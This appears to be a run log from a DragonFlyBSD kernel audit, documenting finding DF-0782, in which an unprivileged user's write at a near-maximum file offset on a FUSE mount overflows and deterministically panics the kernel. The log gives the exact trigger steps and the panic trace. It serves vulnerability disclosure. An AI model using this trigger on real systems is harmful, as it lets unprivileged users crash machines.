DragonFlyBSD Kernel Audit
DF-0782 / run.log
← back to finding ↓ download raw
=== DF-0782 run #1 (unpatched #0 kernel) ===
$ sh run.sh
daemon pid=984
/dev/fuse on /mnt/fuse (fuse, local)
=== daemon mounted; triggering write as maxx ===
[trigger] opening /mnt/fuse/target (O_WRONLY)
[trigger] lseek to 0x7ffffffffffffff0 (=9223372036854775792)
[trigger] file offset now 0x7ffffffffffffff0
[trigger] writing 16 bytes -> offset+resid wraps to 0x8000000000000000 (INT64_MIN)
[trigger] expect: kernel panic (KKASSERT newsize>=0)
   <--- write() never returns; ssh dies; vm status -> down --->

=== kernel panic (dfbsd-qemu/boot.log) ===
panic: assertion "newsize >= 0" failed in fuse_reg_resize at /usr/src/sys/vfs/fuse/fuse_vnops.c:1970
cpuid = 2
fuse_reg_resize() at fuse_reg_resize+0xd9
fuse_vop_write() at fuse_vop_write+0x322
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>

RESULT: PANIC reproduced (deterministic). Trigger = unprivileged user write at offset 0x7FFFFFFFFFFFFFF0.